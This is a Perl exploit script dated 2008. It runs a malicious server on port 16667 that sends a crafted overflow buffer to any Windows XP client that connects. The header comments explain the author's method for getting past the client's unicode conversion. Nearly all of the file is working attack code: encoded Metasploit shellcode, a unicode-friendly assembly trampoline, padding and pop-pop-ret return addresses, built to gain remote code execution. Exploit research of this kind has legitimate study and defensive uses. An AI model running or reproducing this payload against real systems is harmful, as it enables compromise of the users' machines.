#!/usr/bin/perl # k`sOSe - 08/24/2008 # This is a useless and not portable exploit code, tested only on my winxp-sp3 VM. # I was looking for a vuln to write an exploit for when I found this PoC: # # http://www.milw0rm.com/exploits/5817 # # The author wrote: # "The reason why there isnt any shellcode here is because the client is # coverting the junk/buffer data to unicode so its corrupting the shellcode, # ive tried sending unicode buffer but the same problem occurs. # if anyone else can get further please let me know. but i doubt you can" # # It is for this reason, a small suggestion of impossibility(copyright Phantasmal Phantasmagoria) # that i decided to write this. Actually it was pretty funny :) # # The first problem is how to redirect the execution flow to our buffer, the buffer can be found # at three different locations: # - at some address on the stack converted to unicode # - at some address on the heap again converted to unicode # - at some address on the heap in plain ASCII # # Unfortunately none of these addresses are unicode friendly :(. # But.. there is an address on the stack that points in the middle of the buffer(the one on the # stack), all we need is to pop the stack 6 times and then return. # To achieve this we return 2 times on a unicode friendly pop,pop,pop,ret. # # The second problem is that the buffer on the stack is converted to unicode(so \x41 -> \x00\x41) # *and* must be, with some exceptions, in the \x01 -> \x59 space... so I decided to write a # unicode friendly ASM stub that will load the address of the ASCII version of the buffer in EAX # using offsets from a register(somewhat related to our buffer), push it and then return. # # On my box this works 100 times out of 100 :) use warnings; use strict; use IO::Socket; my $sock = IO::Socket::INET->new( Proto => 'tcp', LocalPort => '16667', Listen => SOMAXCONN, Reuse => 1 ); my $ret = "\xa2\x41" ; # pop, pop, pop, ret # metasploit shellcode my $shellcode = "\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a" . "\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48" . "\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51" . "\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43" . "\x4a\x4a\x49\x4b\x4c\x4b\x58\x50\x44\x45\x50\x45\x50\x45" . "\x50\x4c\x4b\x47\x35\x47\x4c\x4c\x4b\x43\x4c\x45\x55\x44" . "\x38\x45\x51\x4a\x4f\x4c\x4b\x50\x4f\x45\x48\x4c\x4b\x51" . "\x4f\x47\x50\x43\x31\x4a\x4b\x47\x39\x4c\x4b\x50\x34\x4c" . "\x4b\x43\x31\x4a\x4e\x46\x51\x49\x50\x4c\x59\x4e\x4c\x4b" . "\x34\x49\x50\x42\x54\x44\x47\x49\x51\x48\x4a\x44\x4d\x43" . "\x31\x49\x52\x4a\x4b\x4c\x34\x47\x4b\x46\x34\x46\x44\x44" . "\x44\x43\x45\x4a\x45\x4c\x4b\x51\x4f\x51\x34\x43\x31\x4a" . "\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45" . "\x4c\x45\x51\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45\x51\x4a" . "\x4b\x4d\x59\x51\x4c\x47\x54\x44\x44\x48\x43\x51\x4f\x50" . "\x31\x4c\x36\x45\x30\x50\x56\x42\x44\x4c\x4b\x47\x36\x46" . "\x50\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x44\x30\x45\x4c\x4e" . "\x4d\x4c\x4b\x43\x58\x45\x58\x4c\x49\x4c\x38\x4b\x33\x49" . "\x50\x43\x5a\x46\x30\x45\x38\x4c\x30\x4d\x5a\x44\x44\x51" . "\x4f\x42\x48\x4c\x58\x4b\x4e\x4c\x4a\x44\x4e\x51\x47\x4b" . "\x4f\x4a\x47\x47\x33\x47\x4a\x51\x4c\x50\x57\x50\x49\x50" . "\x4e\x50\x44\x50\x4f\x46\x37\x46\x33\x51\x4c\x42\x53\x42" . "\x59\x44\x33\x44\x34\x43\x55\x42\x4d\x47\x43\x50\x32\x51" . "\x4c\x43\x53\x45\x31\x42\x4c\x45\x33\x46\x4e\x45\x35\x42" . "\x58\x45\x35\x43\x30\x45\x5a\x41\x41"; # Black magic unicode friendly ASM stub that will load the shellcode address # using offsets from a register that points near the shellcode. my $trampoline = "\x52" . # push edx "\x42" . "\x58" . # pop eax "\x42" . "\x55" . # push ebp "\x42" . "\x44" . # inc esp "\x42" . "\x44" . # inc esp "\x42" . "\x59" . # pop ecx "\x42" . "\x41" . # inc ecx "\x42" . "\x41" . # inc ecx "\x42" . "\x41" . # inc ecx "\x42" . "\x41" . # inc ecx "\x42" . "\x41" . # inc ecx "\x42" . "\x41" . # inc ecx "\x42" . "\x41" . # inc ecx "\x42" . "\x41" . # inc ecx "\x42" . "\x41" . # inc ecx "\x42" . "\x41" . # inc ecx "\x42" . "\x51" . # push ecx "\x42" . "\x4c" . # dec esp "\x42" . "\x59" . # pop ecx "\xec" . # add ah,ch "\x42" . "\x50" . # push eax "\x42" . "\x5e" . # pop esi "\x42" . "\x51" . # push ecx "\x42" . "\x44" . # inc esp "\x42" . "\x58" . # pop eax "\x42" . "\x54" . # push esp "\x42" . "\x5b" . # pop ebx "\x42" . "\x56" . # push esi "\x42" . "\x4B" . # dec ebx "\x42" . "\x4B" . # dec ebx "\x42" . "\x4b" . # dec ebx "\x42" . "\x4b" . # dec ebx "\x42" . "\x48" . # dec eax "\x42" . "\x48" . # dec eax "\x42" . "\x48" . # dec eax "\x42" . "\x48" . # dec eax "\x03" . # ADD BYTE PTR DS:[EBX],AL "\x03" . # ADD BYTE PTR DS:[EBX],AL "\x03" . # ADD BYTE PTR DS:[EBX],AL "\x03" . # ADD BYTE PTR DS:[EBX],AL "\x42" . "\x58" . # pop eax "\x42" . "\x44" . # inc esp // realign stack pointer "\x42" . "\x44" . # inc esp // realign stack pointer "\x42" . "\x50" . # push eax "\x42" . "\xc3" ; # ret my $buf2 = $shellcode . "\x41" x (784-length($shellcode)) . $trampoline . "\x62" x 158 . $ret . "\x41" x 6 . $ret; while(my $client = $sock->accept()) { print $client "$buf2\r\n"; }